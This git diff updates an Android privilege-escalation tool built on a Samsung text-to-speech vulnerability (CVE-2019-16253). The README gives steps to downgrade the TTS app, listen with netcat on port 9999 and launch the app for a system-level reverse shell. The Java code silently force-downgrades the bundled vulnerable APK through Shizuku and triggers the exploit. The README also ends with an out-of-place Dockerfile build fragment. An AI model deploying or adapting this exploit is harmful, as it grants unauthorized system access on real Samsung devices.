diff --git a/README.md b/README.md
index c371ecb..ff407ec 100644
--- a/README.md
+++ b/README.md
@@ -4,17 +4,23 @@ This tool allows most Samsung devices to achieve a `system` shell (UID 1000). It
## Usage
-1. Downgrade the TTS app to the version provided in this repo (this must be done after every reboot).
- `adb install -d ./com.samsung.SMT_v3.0.02.2.apk`
-2. Run this command to wait for the reverse shell:
- `adb shell nc -l -p 9999`
-3. Install and open the `SMT Shell` app.
+1. Downgrade the TTS app to the version provided in this repo (this must be done after every reboot). `adb install -d ./com.samsung.SMT_v3.0.02.2.apk`
+2. Run this command to wait for the reverse shell: `adb shell nc -l -p 9999`
+3. Install and open the `langpoc` app.
-## Licence & Origin
+## Licences & Origin
-This project is a fork of [SMT-CVE-2019-16253](https://github.com/flankerhqd/vendor-android-cves/tree/master/SMT-CVE-2019-16253), created by flankerhqd (AKA flanker017). There is also a write-up by flanker [here](https://blog.flanker017.me/text-to-speech-speaks-pwned). Due to the original repo containing multiple unrelated projects, this fork's git history was rewritten using `git filter-repo` so that it only contains the relevant code (and no prebuilt artifacts).
+This project started as a fork of [SMT-CVE-2019-16253](https://github.com/flankerhqd/vendor-android-cves/tree/master/SMT-CVE-2019-16253), created by flankerhqd (AKA flanker017). There is also a write-up by flanker [here](https://blog.flanker017.me/text-to-speech-speaks-pwned). Due to the original repo containing multiple unrelated projects, this fork's git history was rewritten using `git filter-repo` so that it only contains the relevant code (and no prebuilt artifacts).
-This repo will continue to use the LGPL license that the original used when this fork was created.
+This repo will continue to use the LGPL license that the original used when this fork was created. Other embedded components are licensed as follows:
+
+### Shizuku - Copyright (c) 2021 RikkaW
+
+Some code was copied or adapted from the [Shizuku API](https://github.com/RikkaApps/Shizuku-API) demo project, which is distributed under the MIT License. Primarily, this includes files in `smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku`, and the hidden API class stubs in `smtshell/hidden-api-stub`. A copy of the license can be found [here](https://github.com/RikkaApps/Shizuku-API/blob/master/LICENSE).
+
+### Samsung
+
+This project includes an unmodified Samsung APK, at `./smtshell/app/src/main/assets/com.samsung.SMT_v3.0.02.2.apk`.
### Changes from the original
@@ -23,3 +29,9 @@ Please see the git commit history for a comprehensive list of changes. In brief:
* Refactored nearly all the code
* Replaced the reverse shell implementation
* Updated dependencies and build system to latest versions
+
+
+RUN git clone https://github.com/corellium/sud.git \
+ && cd sud \
+ && mkdir -p bin \
+ && make CC=/root/sdk/ndk-bundle/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android29-clang
\ No newline at end of file
diff --git a/smtshell/.idea/compiler.xml b/smtshell/.idea/compiler.xml
index fb7f4a8..1c5ab05 100644
--- a/smtshell/.idea/compiler.xml
+++ b/smtshell/.idea/compiler.xml
@@ -1,6 +1,6 @@
-
+
\ No newline at end of file
diff --git a/smtshell/.idea/misc.xml b/smtshell/.idea/misc.xml
index bdd9278..2052458 100644
--- a/smtshell/.idea/misc.xml
+++ b/smtshell/.idea/misc.xml
@@ -1,7 +1,7 @@
-
+
diff --git a/smtshell/app/build.gradle b/smtshell/app/build.gradle
index 65bacf7..0fb9c10 100644
--- a/smtshell/app/build.gradle
+++ b/smtshell/app/build.gradle
@@ -4,10 +4,10 @@ android {
compileSdkVersion 33
defaultConfig {
applicationId "com.samsung.SMT.lang.smtshell"
- minSdkVersion 14 // must be 22 or lower for the exploit to work
+ minSdkVersion 22 // must be 22 or lower for the exploit to work
targetSdkVersion 33
- versionCode 2
- versionName "1.1"
+ versionCode 20230319
+ versionName "1.2"
testInstrumentationRunner 'androidx.test.runner.AndroidJUnitRunner'
externalNativeBuild {
ndkBuild {
@@ -29,6 +29,9 @@ android {
}
dependencies {
+ implementation "dev.rikka.shizuku:api:13.1.0"
+ implementation "dev.rikka.shizuku:provider:13.1.0"
+ implementation 'org.lsposed.hiddenapibypass:hiddenapibypass:4.3'
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
implementation 'androidx.appcompat:appcompat:1.6.1'
compileOnly project(':hidden-api-stub')
diff --git a/smtshell/app/src/main/AndroidManifest.xml b/smtshell/app/src/main/AndroidManifest.xml
index b81feb8..485c961 100644
--- a/smtshell/app/src/main/AndroidManifest.xml
+++ b/smtshell/app/src/main/AndroidManifest.xml
@@ -7,14 +7,17 @@
tools:ignore="QueryAllPackagesPermission" />
+
+
-
@@ -23,6 +26,9 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/com.samsung.SMT_v3.0.02.2.apk b/smtshell/app/src/main/assets/com.samsung.SMT_v3.0.02.2.apk
similarity index 100%
rename from com.samsung.SMT_v3.0.02.2.apk
rename to smtshell/app/src/main/assets/com.samsung.SMT_v3.0.02.2.apk
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictActivity.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictActivity.java
new file mode 100644
index 0000000..b264b1e
--- /dev/null
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictActivity.java
@@ -0,0 +1,76 @@
+package com.samsung.SMT.lang.smtshell;
+
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Bundle;
+import android.widget.ArrayAdapter;
+import android.widget.ListView;
+import android.widget.TextView;
+
+import androidx.annotation.RequiresApi;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/**
+ * We need to keep the minSdkVersion at 22 or lower, so use @RequiresApi to use newer stuff.
+ * This only needs to support Android 9.0 (API 28) and higher anyway.
+ */
+@RequiresApi(api = Build.VERSION_CODES.N)
+public class ConflictActivity extends AppCompatActivity {
+
+ private TextView mTextView;
+ private ListView mListView;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_conflict);
+ mTextView = findViewById(R.id.text);
+ mListView = findViewById(R.id.list);
+ if (resolvePackageConflicts()) {
+ launchMain();
+ }
+ }
+
+ /**
+ * This will fire when we get a response from an uninstall request. No need to check the
+ * requestCode or resultCode, since we only care about one result for now.
+ */
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ if (resolvePackageConflicts()) {
+ launchMain();
+ }
+ }
+
+ private void launchMain() {
+ Intent intent = new Intent(this, MainActivity.class);
+ // prevent annoying UX for user, if they tap back
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ startActivity(intent);
+ }
+
+ private boolean resolvePackageConflicts() {
+ ArrayList pkgs = ConflictUtil.getPackageConflicts(this);
+
+ if (pkgs.size() > 0) {
+ mTextView.setText(R.string.app_conflict_prompt);
+ mListView.setAdapter(new ArrayAdapter<>(this, R.layout.pkg_item, pkgs));
+ mListView.setOnItemClickListener((parent, view, position, id) -> {
+ String pkgName = pkgs.get(position);
+ Intent intent = new Intent(Intent.ACTION_DELETE);
+ intent.setData(Uri.parse("package:" + pkgName));
+ startActivityForResult(intent, 0);
+ });
+ return false;
+ } else {
+ mTextView.setText(R.string.no_conflicts);
+ mListView.setAdapter(null);
+ return true;
+ }
+ }
+
+}
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictUtil.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictUtil.java
new file mode 100644
index 0000000..e4325dd
--- /dev/null
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/ConflictUtil.java
@@ -0,0 +1,38 @@
+package com.samsung.SMT.lang.smtshell;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Build;
+import android.widget.ArrayAdapter;
+
+import androidx.annotation.RequiresApi;
+
+import java.util.ArrayList;
+import java.util.stream.Collectors;
+
+/**
+ * We need to keep the minSdkVersion at 22 or lower, so use @RequiresApi to use newer stuff.
+ * This only needs to support Android 9.0 (API 28) and higher anyway.
+ */
+@RequiresApi(api = Build.VERSION_CODES.N)
+public class ConflictUtil {
+
+ public static ArrayList getPackageConflicts(Context context) {
+ ArrayList pkgs = context.getPackageManager()
+ .getInstalledPackages(PackageManager.MATCH_ALL)
+ .stream()
+ .map(packageInfo -> packageInfo.packageName)
+ .filter(pkgName -> pkgName.startsWith("com.samsung.SMT.lang"))
+ .filter(pkgName -> !pkgName.equals(context.getPackageName()))
+ .collect(Collectors.toCollection(ArrayList::new));
+
+ return pkgs;
+ }
+
+ public static boolean hasConflicts(Context context) {
+ return getPackageConflicts(context).size() > 0;
+ }
+
+}
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/MainActivity.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/MainActivity.java
index d481168..2fa5256 100644
--- a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/MainActivity.java
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/MainActivity.java
@@ -1,21 +1,24 @@
package com.samsung.SMT.lang.smtshell;
+import android.annotation.SuppressLint;
import android.content.ComponentName;
import android.content.Intent;
import android.content.pm.PackageManager;
-import android.net.Uri;
+import android.os.AsyncTask;
import android.os.Build;
import android.os.Bundle;
-import android.widget.ArrayAdapter;
-import android.widget.ListView;
+import android.view.View;
+import android.widget.Button;
+import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AppCompatActivity;
-import java.util.ArrayList;
-import java.util.stream.Collectors;
+import com.samsung.SMT.lang.smtshell.shizuku.PackageInstallerUtils;
+
+import rikka.shizuku.Shizuku;
/**
* We need to keep the minSdkVersion at 22 or lower, so use @RequiresApi to use newer stuff.
@@ -24,59 +27,144 @@
@RequiresApi(api = Build.VERSION_CODES.N)
public class MainActivity extends AppCompatActivity {
+ private static final int REQUEST_CODE_SHIZUKU = 9000;
+
+ private static final String TAG = "SMTShell";
+
private TextView mTextView;
- private ListView mListView;
+ private Button mExploitBtn;
+ private ProgressBar mSpinner;
+
+ private void onShizukuRequestPermissionsResult(int requestCode, int grantResult) {
+ boolean granted = grantResult == PackageManager.PERMISSION_GRANTED;
+ if (granted) {
+ onReady(true);
+ }
+ }
+
+ private boolean checkShizukuPermission() {
+ if (Shizuku.isPreV11()) {
+ // Pre-v11 is unsupported
+ return false;
+ } else if (Shizuku.checkSelfPermission() == PackageManager.PERMISSION_GRANTED) {
+ // Granted
+ return true;
+ } else if (Shizuku.shouldShowRequestPermissionRationale()) {
+ // Users choose "Deny and don't ask again"
+ return false;
+ } else {
+ // Request the permission
+ Shizuku.requestPermission(REQUEST_CODE_SHIZUKU);
+ return false;
+ }
+ }
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mTextView = findViewById(R.id.text);
- mListView = findViewById(R.id.list);
+ mExploitBtn = findViewById(R.id.btn_exploit);
+ mSpinner = findViewById(R.id.indeterminateBar);
}
@Override
protected void onStart() {
super.onStart();
- maybeExploit();
+
+ if (ConflictUtil.hasConflicts(this)) {
+ Intent intent = new Intent(this, ConflictActivity.class);
+ // prevent annoying UX for user, if they tap back
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ startActivity(intent);
+ return;
+ }
+
+ onReady(false);
+
+ Shizuku.addRequestPermissionResultListener(this::onShizukuRequestPermissionsResult);
+ // TODO Small inherent race condition here because addBinderReceivedListener doesn't get
+ // called if we already have the binder, so if we receive the binder right after ping,
+ // but before adding the listener, nothing will happen.
+ if (!Shizuku.pingBinder()) {
+ Shizuku.addBinderReceivedListener(() -> {
+ if (checkShizukuPermission()) {
+ onReady(true);
+ }
+ });
+ } else {
+ if (checkShizukuPermission()) {
+ onReady(true);
+ }
+ }
+ }
+
+ private void onReady(boolean shizuku) {
+ if (shizuku && !isVulnerableSMT()) {
+ mTextView.setText(R.string.downgrade_smt_prompt_shizuku);
+ mExploitBtn.setText(R.string.downgrade_smt);
+ mExploitBtn.setOnClickListener(v -> {
+ mExploitBtn.setEnabled(false);
+ mSpinner.setProgress(0);
+ mSpinner.setVisibility(View.VISIBLE);
+ AsyncTask.execute(() -> {
+ boolean success = downgradeSMT();
+ runOnUiThread(() -> {
+ if (!success) {
+ Toast.makeText(this, "failed to downgrade!", Toast.LENGTH_SHORT).show();
+ }
+ mSpinner.setVisibility(View.INVISIBLE);
+ onReady(true);
+ });
+ });
+ });
+ } else if (!shizuku && !isVulnerableSMT()) {
+ mTextView.setText(R.string.downgrade_smt_prompt);
+ mExploitBtn.setText(R.string.proceed);
+ mExploitBtn.setOnClickListener(v -> {
+ // user might grant permission here
+ onReady(Shizuku.pingBinder());
+ });
+ } else {
+ mTextView.setText(R.string.exploit_prompt);
+ mExploitBtn.setText(R.string.exploit);
+ mExploitBtn.setOnClickListener(v -> {
+ exploit();
+ Toast.makeText(this, "Exploit triggered!", Toast.LENGTH_SHORT).show();
+ });
+ }
+ mExploitBtn.setEnabled(true);
}
- /**
- * This will fire when we get a response from an uninstall request. No need to check the
- * requestCode or resultCode, since we only care about one result for now.
- */
@Override
- protected void onActivityResult(int requestCode, int resultCode, Intent data) {
- super.onActivityResult(requestCode, resultCode, data);
- maybeExploit();
+ protected void onStop() {
+ super.onStop();
+ Shizuku.removeRequestPermissionResultListener(this::onShizukuRequestPermissionsResult);
}
- private void maybeExploit() {
- ArrayList pkgs = getPackageManager()
- .getInstalledPackages(PackageManager.MATCH_ALL)
- .stream()
- .map(packageInfo -> packageInfo.packageName)
- .filter(pkgName -> pkgName.startsWith("com.samsung.SMT.lang"))
- .filter(pkgName -> !pkgName.equals(getPackageName()))
- .collect(Collectors.toCollection(ArrayList::new));
-
- if (pkgs.size() > 0) {
- mTextView.setText(R.string.app_conflict_prompt);
- mListView.setAdapter(new ArrayAdapter<>(this, R.layout.pkg_item, pkgs));
- mListView.setOnItemClickListener((parent, view, position, id) -> {
- String pkgName = pkgs.get(position);
- Intent intent = new Intent(Intent.ACTION_DELETE);
- intent.setData(Uri.parse("package:" + pkgName));
- startActivityForResult(intent, 0);
- });
+ boolean downgradeSMT() {
+ if (!isVulnerableSMT()) {
+ return PackageInstallerUtils.installApkFromAssets(this, "com.samsung.SMT_v3.0.02.2.apk");
} else {
- mTextView.setText(R.string.no_conflicts);
- mListView.setAdapter(null);
+ return true;
+ }
+ }
- Intent intent = new Intent();
- intent.setComponent(new ComponentName("com.samsung.SMT", "com.samsung.SMT.SamsungTTSService"));
- startService(intent);
+ boolean isVulnerableSMT() {
+ try {
+ int versionCode = getPackageManager()
+ .getPackageInfo("com.samsung.SMT", PackageManager.GET_META_DATA)
+ .versionCode;
+ return (300200002 == versionCode);
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
}
}
+ private void exploit() {
+ Intent intent = new Intent();
+ intent.setComponent(new ComponentName("com.samsung.SMT", "com.samsung.SMT.SamsungTTSService"));
+ startService(intent);
+ }
+
}
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/SMTShell.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/SMTShell.java
new file mode 100644
index 0000000..47438ac
--- /dev/null
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/SMTShell.java
@@ -0,0 +1,18 @@
+package com.samsung.SMT.lang.smtshell;
+
+import android.app.Application;
+import android.os.Build;
+
+import org.lsposed.hiddenapibypass.HiddenApiBypass;
+
+public class SMTShell extends Application {
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ // enable hidden API access (required for some Shizuku APIs to work correctly)
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) {
+ HiddenApiBypass.addHiddenApiExemptions("");
+ }
+ }
+}
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IIntentSenderCallback.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IIntentSenderCallback.java
new file mode 100644
index 0000000..126efd3
--- /dev/null
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IIntentSenderCallback.java
@@ -0,0 +1,36 @@
+package com.samsung.SMT.lang.smtshell.shizuku;
+
+import android.content.IIntentReceiver;
+import android.content.IIntentSender;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+
+import java.util.concurrent.CountDownLatch;
+
+public class IIntentSenderCallback extends IIntentSender.Stub {
+
+ private final CountDownLatch mLatch = new CountDownLatch(1);
+ private Intent mResult;
+
+ @Override
+ public int send(int code, Intent intent, String resolvedType, IIntentReceiver finishedReceiver, String requiredPermission, Bundle options) {
+ setResult(intent);
+ return 0;
+ }
+
+ @Override
+ public void send(int code, Intent intent, String resolvedType, IBinder whitelistToken, IIntentReceiver finishedReceiver, String requiredPermission, Bundle options) {
+ setResult(intent);
+ }
+
+ void setResult(Intent intent) {
+ mResult = intent;
+ mLatch.countDown();
+ }
+
+ public Intent getResult() throws InterruptedException {
+ mLatch.await();
+ return mResult;
+ }
+}
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IntentSenderUtils.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IntentSenderUtils.java
new file mode 100644
index 0000000..6d0f1d3
--- /dev/null
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/IntentSenderUtils.java
@@ -0,0 +1,15 @@
+package com.samsung.SMT.lang.smtshell.shizuku;
+
+import android.content.IIntentSender;
+import android.content.IntentSender;
+
+import java.lang.reflect.InvocationTargetException;
+
+@SuppressWarnings("JavaReflectionMemberAccess")
+public class IntentSenderUtils {
+
+ public static IntentSender newInstance(IIntentSender binder) throws NoSuchMethodException,
+ IllegalAccessException, InvocationTargetException, InstantiationException {
+ return IntentSender.class.getConstructor(IIntentSender.class).newInstance(binder);
+ }
+}
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/PackageInstallerUtils.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/PackageInstallerUtils.java
new file mode 100644
index 0000000..d8204ad
--- /dev/null
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/PackageInstallerUtils.java
@@ -0,0 +1,120 @@
+package com.samsung.SMT.lang.smtshell.shizuku;
+
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.content.pm.IPackageInstaller;
+import android.content.pm.IPackageInstallerSession;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.os.RemoteException;
+import android.util.Log;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.reflect.InvocationTargetException;
+
+import rikka.shizuku.ShizukuBinderWrapper;
+
+@SuppressWarnings({"JavaReflectionMemberAccess", "ConstantConditions"})
+@SuppressLint("PrivateApi")
+public class PackageInstallerUtils {
+
+ private static final String TAG = PackageInstallerUtils.class.getSimpleName();
+
+ public static PackageInstaller createPackageInstaller(Context context, IPackageInstaller installer, String installerPackageName, String installerAttributionTag, int userId) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
+ Context appContext = context.getApplicationContext();
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
+ return PackageInstaller.class.getConstructor(IPackageInstaller.class, String.class, String.class, int.class)
+ .newInstance(installer, installerPackageName, installerAttributionTag, userId);
+ } else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ return PackageInstaller.class.getConstructor(IPackageInstaller.class, String.class, int.class)
+ .newInstance(installer, installerPackageName, userId);
+ } else {
+ return PackageInstaller.class.getConstructor(Context.class, PackageManager.class, IPackageInstaller.class, String.class, int.class)
+ .newInstance(appContext, appContext.getPackageManager(), installer, installerPackageName, userId);
+ }
+ }
+
+ public static PackageInstaller.Session createSession(IPackageInstallerSession session) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
+ return PackageInstaller.Session.class.getConstructor(IPackageInstallerSession.class)
+ .newInstance(session);
+
+ }
+
+ public static int getInstallFlags(PackageInstaller.SessionParams params) throws NoSuchFieldException, IllegalAccessException {
+ return (int) PackageInstaller.SessionParams.class.getDeclaredField("installFlags").get(params);
+ }
+
+ public static void setInstallFlags(PackageInstaller.SessionParams params, int newValue) throws NoSuchFieldException, IllegalAccessException {
+ PackageInstaller.SessionParams.class.getDeclaredField("installFlags").set(params, newValue);
+ }
+
+ @SuppressWarnings({"ConstantConditions", "JavaReflectionMemberAccess"})
+ public static boolean installApkFromAssets(Context context, String apkName) {
+ Context appContext = context.getApplicationContext();
+ try {
+ IPackageInstaller _packageInstaller = ShizukuSystemServerApi.getPackageInstaller();
+
+ String installerAttributionTag = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) {
+ installerAttributionTag = context.getAttributionTag();
+ }
+ PackageInstaller packageInstaller = PackageInstallerUtils.createPackageInstaller(
+ appContext, _packageInstaller, "com.android.shell", installerAttributionTag, 0);
+
+ PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+ int installFlags = PackageInstallerUtils.getInstallFlags(params);
+ installFlags |= (int) PackageManager.class.getField("INSTALL_REPLACE_EXISTING").get(null);
+ installFlags |= (int) PackageManager.class.getField("INSTALL_REQUEST_DOWNGRADE").get(null);
+ PackageInstallerUtils.setInstallFlags(params, installFlags);
+
+ int sessionId = packageInstaller.createSession(params);
+
+ Log.i(TAG, "createSession: " + sessionId);
+
+ IPackageInstallerSession _session = IPackageInstallerSession.Stub.asInterface(new ShizukuBinderWrapper(_packageInstaller.openSession(sessionId).asBinder()));
+
+
+ // capture result of install
+ IIntentSenderCallback resultsHook = new IIntentSenderCallback();
+
+ try (
+ InputStream is = appContext.getAssets().open(apkName);
+ PackageInstaller.Session session = PackageInstallerUtils.createSession(_session);
+ ) {
+ // the output stream needs to be closed before calling session.commit(),
+ // otherwise we get a security exception
+ try (OutputStream os = session.openWrite("foo.apk", 0, -1)) {
+ // write the APK into the install session stream
+ byte[] buf = new byte[8192];
+ int len;
+ while ((len = is.read(buf)) > 0) {
+ os.write(buf, 0, len);
+ os.flush();
+ session.fsync(os);
+ }
+ }
+
+ // commit session with hook
+ IntentSender intentSender = IntentSenderUtils.newInstance(resultsHook);
+ session.commit(intentSender);
+ }
+
+ Intent result = resultsHook.getResult();
+ int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS, PackageInstaller.STATUS_FAILURE);
+ String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
+ Log.i(TAG, String.format("status: %d (%s)", status, message));
+
+ return (0 == status);
+ } catch (IOException | NoSuchMethodException | IllegalAccessException |
+ InvocationTargetException | InstantiationException | NoSuchFieldException |
+ RemoteException | InterruptedException e) {
+ Log.e(TAG, "failed to install APK", e);
+ return false;
+ }
+ }
+}
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/ShizukuSystemServerApi.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/ShizukuSystemServerApi.java
new file mode 100644
index 0000000..8f417d3
--- /dev/null
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/ShizukuSystemServerApi.java
@@ -0,0 +1,26 @@
+package com.samsung.SMT.lang.smtshell.shizuku;
+
+import android.annotation.SuppressLint;
+import android.content.pm.IPackageInstaller;
+import android.content.pm.IPackageManager;
+import android.os.RemoteException;
+
+import rikka.shizuku.ShizukuBinderWrapper;
+import rikka.shizuku.SystemServiceHelper;
+
+@SuppressLint("NewApi")
+public class ShizukuSystemServerApi {
+
+ private static final Singleton PACKAGE_MANAGER = new Singleton() {
+ @Override
+ protected IPackageManager create() {
+ return IPackageManager.Stub.asInterface(new ShizukuBinderWrapper(SystemServiceHelper.getSystemService("package")));
+ }
+ };
+
+ public static IPackageInstaller getPackageInstaller() throws RemoteException {
+ IPackageInstaller packageInstaller = PACKAGE_MANAGER.get().getPackageInstaller();
+ return IPackageInstaller.Stub.asInterface(new ShizukuBinderWrapper(packageInstaller.asBinder()));
+ }
+
+}
diff --git a/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/Singleton.java b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/Singleton.java
new file mode 100644
index 0000000..d6203b3
--- /dev/null
+++ b/smtshell/app/src/main/java/com/samsung/SMT/lang/smtshell/shizuku/Singleton.java
@@ -0,0 +1,17 @@
+package com.samsung.SMT.lang.smtshell.shizuku;
+
+public abstract class Singleton {
+
+ private T mInstance;
+
+ protected abstract T create();
+
+ public final T get() {
+ synchronized (this) {
+ if (mInstance == null) {
+ mInstance = create();
+ }
+ return mInstance;
+ }
+ }
+}
diff --git a/smtshell/app/src/main/res/layout/activity_conflict.xml b/smtshell/app/src/main/res/layout/activity_conflict.xml
new file mode 100644
index 0000000..c153c9e
--- /dev/null
+++ b/smtshell/app/src/main/res/layout/activity_conflict.xml
@@ -0,0 +1,22 @@
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/smtshell/app/src/main/res/layout/activity_main.xml b/smtshell/app/src/main/res/layout/activity_main.xml
index 24ec986..c34ac2e 100644
--- a/smtshell/app/src/main/res/layout/activity_main.xml
+++ b/smtshell/app/src/main/res/layout/activity_main.xml
@@ -8,15 +8,39 @@
android:gravity="center"
tools:context=".MainActivity">
+
+
+
+
+
+
+ android:text="@string/exploit_prompt" />
+
+
-
+ android:layout_height="0dp"
+ android:layout_weight="3" />
\ No newline at end of file
diff --git a/smtshell/app/src/main/res/raw/raw.txt b/smtshell/app/src/main/res/raw/raw.txt
new file mode 100644
index 0000000..e69de29
diff --git a/smtshell/app/src/main/res/values/strings.xml b/smtshell/app/src/main/res/values/strings.xml
index 08434f5..c8ff597 100644
--- a/smtshell/app/src/main/res/values/strings.xml
+++ b/smtshell/app/src/main/res/values/strings.xml
@@ -2,4 +2,11 @@
SMT Shell
The apps below are in conflict with SMT Shell, and will prevent the exploit from running, please tap to remove each of them.
No conflicting apps found. Exploit has been executed; please check your reverse shell.
+ Tap the button below to trigger the exploit and execute a reverse shell (on port 9999).
+ Exploit
+ Exploit with Shizuku
+ Downgrade SMT
+ Before triggering the exploit, you must downgrade the Samsung SMT app to a vulnerable version. You may do this automatically by tapping the button below.
+ Before triggering the exploit, you must downgrade the Samsung SMT app to a vulnerable version. Please see the README for instructions, or grant Shizuku permissions to do this automatically. When done, tap below to continue.
+ proceed